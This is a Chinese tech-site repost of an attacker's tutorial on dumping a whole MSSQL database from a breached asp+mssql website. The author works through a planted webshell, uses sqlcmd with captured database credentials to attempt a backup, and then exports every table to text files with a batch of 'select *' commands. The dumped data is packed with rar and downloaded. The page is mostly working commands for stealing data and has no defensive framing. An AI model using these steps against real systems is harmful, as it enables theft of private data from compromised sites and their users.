加入收藏 | 设为首页 | 会员中心 | 我要投稿 拼字网 - 核心网 (https://www.hexinwang.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长学院 > MsSql教程 > 正文

sqlcmd脱mssql数据库[大型库很有效]

发布时间:2022-10-18 22:31:15 所属栏目:MsSql教程 来源:网络
导读: 近日碰带一个脱裤的环境:
asp+mssql的环境,网站数据库分离的
想脱所有库里的内容
尝试多种脱裤的脚本,都有点差强人意
尝试ssql.asp 虽然也行
但是库内容比较大,脚本每次执行的有大小限

近日碰带一个脱裤的环境:

asp+mssql的环境,网站数据库分离的

想脱所有库里的内容

尝试多种脱裤的脚本,都有点差强人意

尝试ssql.asp 虽然也行

但是库内容比较大,脚本每次执行的有大小限制,比如每次只能查询10000条语句mssql拖库

就的分多次查询,但数据有几十万,这样执行也非常难受

后来发现命令行下有sqlcmd这个工具,可远程执行sql命令

于是尝试远程备份数据库,执行命令如下

sqlcmd -U cms -P qwe123!@# -S 192.168.10.10 -Q "backup database xxx to disk='c:\\temp\\xxx.bak'"

但是失败,后分析了下该cms账号为public权限,没有备份权限

于是换一种思路

分别将库里的所有表给备份出来

首先获取该库下的所有用户表名

select name from cms.dbo.sysobjects where xtype='U'

然后做成一个批处理

sqlcmd -U cms -P qwe123!@# -S 192.168.10.10 -Q "select * from table1">>c:\\temp\\table1.txt

sqlcmd -U cms -P qwe123!@# -S 192.168.10.10 -Q "select * from table2">>c:\\temp\\table2.txt

sqlcmd -U cms -P qwe123!@# -S 192.168.10.10 -Q "select * from table3">>c:\\temp\\table3.txt

sqlcmd -U cms -P qwe123!@# -S 192.168.10.10 -Q "select * from table4">>c:\\temp\\table4.txt

.......

这样在webshell在执行该批处理即可,几十万的数据几秒内就导出到web服务器上了 ,然后利用rar打包 迅雷下载 完工?

(编辑:拼字网 - 核心网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!